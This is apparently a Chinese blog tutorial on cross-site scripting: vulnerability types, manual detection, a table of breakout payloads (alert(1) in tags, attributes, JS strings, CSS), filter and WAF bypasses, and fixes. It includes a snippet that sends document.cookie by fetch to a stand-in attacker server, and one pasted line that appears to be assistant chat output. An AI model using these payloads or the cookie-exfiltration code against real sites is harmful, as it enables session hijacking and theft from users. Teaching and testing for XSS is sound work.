一、漏洞原理 1.1 核心 XSS(Cross-Site Scripting)名为跨站脚本攻击。是指攻击者向网页中注入恶意脚本(通常为JS),用户访问对应网页后恶意脚本被自动执行。 本质:用户输入未被正确过滤/转义,最终被当作脚本执行。 1.2 原理详解 1.2.1 存储型 XSS 原理:攻击者将恶
一、漏洞原理
1.1 核心
XSS(Cross-Site Scripting)名为跨站脚本攻击。是指攻击者向网页中注入恶意脚本(通常为JS),用户访问对应网页后恶意脚本被自动执行。
本质:
用户输入未被正确过滤/转义,最终被当作脚本执行。
1.2 原理详解
1.2.1 存储型 XSS
原理
:攻击者将恶意代码写入数据库或持久化存储(如留言板、评论、昵称等),用户访问页面时恶意代码会被加载并执行。特点
:持久化、多用户可触发。典型场景
:论坛帖子、用户签名、后台管理系统。
1.2.2 反射型 XSS
原理
:恶意代码通过 URL 参数或请求参数传递,服务器在响应中原样返回,用户点击恶意链接时触发执行。特点
:一次性、需要用户点击恶意链接,需要服务器执行。典型场景
:搜索框结果回显、错误信息提示。
1.2.3 DOM 型 XSS
原理
:DOM有时候看着和反射型很相似,常常都是通过url参数诱使用户点击。区别在于DOM型代码不经过服务器,直接在前端执行。特点
:完全在前端执行,可以绕过防火墙。典型场景
:也是url拼接,源码中相干函数:document.write()
、innerHTML
、location.hash
、eval()
。
二、检测与危害
2.1 检测方法
检测可以分为人工检测和自动化工具检测,这里主要讲人工检测。还可以分为白盒和黑盒检测,这里主要为黑盒测试,但是因为XSS很多时候是前端,而前端代码通常是暴露出来的,因此也需要进行一定的代码审计。有回显检测是一般方法,更加常见简单一些,存储型/反射型/DOM型都适用。
2.1.1 有回显检测
- 找到回显点,回显点通常是搜索栏,论坛帖子,评论等等,随便输一输看看有回显即可。
- 按F12打开开发者工具,找到Elements选项,看看自己能够控制的回显(用户输入)回显在哪里
- 根据Elements中的html代码尝试构造闭合,闭合规则表如下:
|上下文类型
|示例代码
|闭合方式
|示例 Payload
|
| ----------- | -------------------------------------------- | ------------------------------ | --------------------------------------------------------------------------------- |
|HTML 内容
|<div>用户输入</div>
| 用</tag>
跳出标签,再插入恶意节点 |</div><script>alert(1)</script>
<img src=x onerror=alert(1)>
|
|HTML 属性
|<input value="用户输入">
| 用"
/'
闭合属性,再加事件或新标签 |" onfocus=alert(1) x="
' onmouseover=alert(1) x='
javascript:alert(1)
|
|JS 字符串
|<script>var msg = "用户输入";</script>
| 用";
或'
跳出字符串,再写 JS |";alert(1);//
';alert(1)//
``;alert(1)//` |
|CSS
|<style>.box{background:url(用户输入);}</style>
| 利用url(javascript:...)
或跳出样式 |url(javascript:alert(1))
</style><script>alert(1)</script>
|
2.1.2 无回显检测
无回显检测分为两种:黑盒和白盒
1. 黑盒盲测(fuzz/撞运气)
在可能的输入点注入 payload,比如 #<svg/onload=alert(1)>
、javascript:alert(1)
、'";alert(1);//
。页面表面上不回显,但你观察
Console
、弹窗
、异常报错
,就可能发现触发点。配合 Burp Intruder、OWASP ZAP 等自动化 Fuzz 效果更好。但是覆盖面有限,可能运气不好就漏掉。2. 白盒/灰盒测试(代码审计)
能看源码还是尽量看,按F12找到Source中的js代码,实在不行就反编译。更加系统化,有就是有,没有就是没有。特别适合DOM型XSS。
- 直接看源码(Elements 面板只显示渲染结果,真正要看的是
Sources
→ JS 逻辑)。 - 搜索危险 API:
eval
、document.write
、innerHTML
、setTimeout
、Function
、addEventListener
。 - 看用户输入(URL 参数、location.hash、postMessage、window.name)是否传进这些函数。
2.2 利用与危害
理论上,通过前端JS代码能实现的功能,攻击者都能够做到。XSS危害通常为中危,存储型XSS有可能达到高危。常见的利用方式如下:
- 窃取窃取
Cookie、LocalStorage、JWT
等敏感信息。
构造恶意url或存储型XSS等,通过前端代码将用户cookie等信息发邮件到攻击者邮箱或者发送数据到攻击者服务器。推荐使用搭建服务器接收数据的方法。之后使用fetch方法发送cookie即可。类似这样
const token = document.cookie; fetch('http://localhost:3000/test', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ token }) }) .then(res => console.log('发送成功', res)) .catch(err => console.error(err));
- 在获得身份信息后,直接登录相应账户就可以正常执行用户操作了。
三、修复与绕过
我将修复方式与绕过手法对应起来,便于理解。其中,输出转义是首选修复方法,很多模板和函数自带转义,严格转义很难突破。
修复方式 | 绕过手法 |
---|---|
输入过滤:对用户输入进行严格过滤(黑名单不可靠,通常用白名单)。 | 绕过:利用编码(HTML 实体编码、URL 编码、Unicode 编码)、双写绕过、大小写混淆。 |
输出转义:对不同上下文(HTML、JS、CSS、URL)采用合适的编码方式(如< 、> )。 | 绕过:如果开发者只做部分转义(只转义 < 而没转义 " ),则可闭合标签继续注入。 |
内容安全策略(CSP):限制脚本来源,禁止内联 JS。 | 绕过:利用 JSONP、已有可信脚本(XSS via Angular、React 等框架漏洞),或滥用现有资源。 |
HttpOnly Cookie:防止脚本读取 Cookie。 | 绕过:即便不能窃取 Cookie,仍可劫持会话执行敏感操作。 |
避免危险 API:禁止使用eval() 、innerHTML ,改用安全 API(textContent 、setAttribute )。 | 绕过:如果框架内部仍有拼接逻辑,攻击者可寻找新的注入点。 |
WAF 拦截:部署 Web 应用防火墙过滤恶意请求。 | 绕过:使用编码、分隔符绕过、变种 payload。 |
我帮你把这一节整理成小白友好、可直接放博客的形式,加入 DOM 和 fetch
的介绍,同时保持与 XSS 教程内容相关:
四、补充说明
4.1 DOM 介绍
DOM(Document Object Model,文档对象模型)
是浏览器对 HTML 文档的抽象表示。- 作用:
- 允许 JavaScript
访问、修改页面内容
- 改变 HTML 元素、属性、样式或事件
- 允许 JavaScript
- 与 XSS 的关系:
- DOM 型 XSS 就是利用 JS 操作 DOM 来执行攻击
- 攻击者可以通过修改 DOM 插入恶意 JS 或操控页面行为
- 常用操作示例:
// 获取元素 const div = document.getElementById('myDiv'); // 修改内容 div.textContent = '安全显示内容'; // 插入 HTML(危险示例,如果 userInput 未转义就可能 XSS) div.innerHTML = userInput;
4.2 JS fetch
fetch
是现代浏览器提供的原生 HTTP 请求方法,用于替代旧的XMLHttpRequest
。 - 特点:
- 返回 Promise,支持链式调用
.then()
和.catch()
- 可以发送 GET、POST、PUT、DELETE 请求
- 可自定义请求头、请求体,支持携带 Cookie/Token
- 返回 Promise,支持链式调用
- 基本用法:
// GET 请求 fetch('https://jsonplaceholder.typicode.com/todos/1') .then(response => response.json()) .then(data => console.log(data)) .catch(err => console.error('请求失败', err)); // POST 请求 fetch('http://localhost:3000/test', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ token: '测试token' }) }) .then(res => console.log('发送成功', res)) .catch(err => console.error('发送失败', err));
评论 抢沙发
评论前必须登录!
立即登录 注册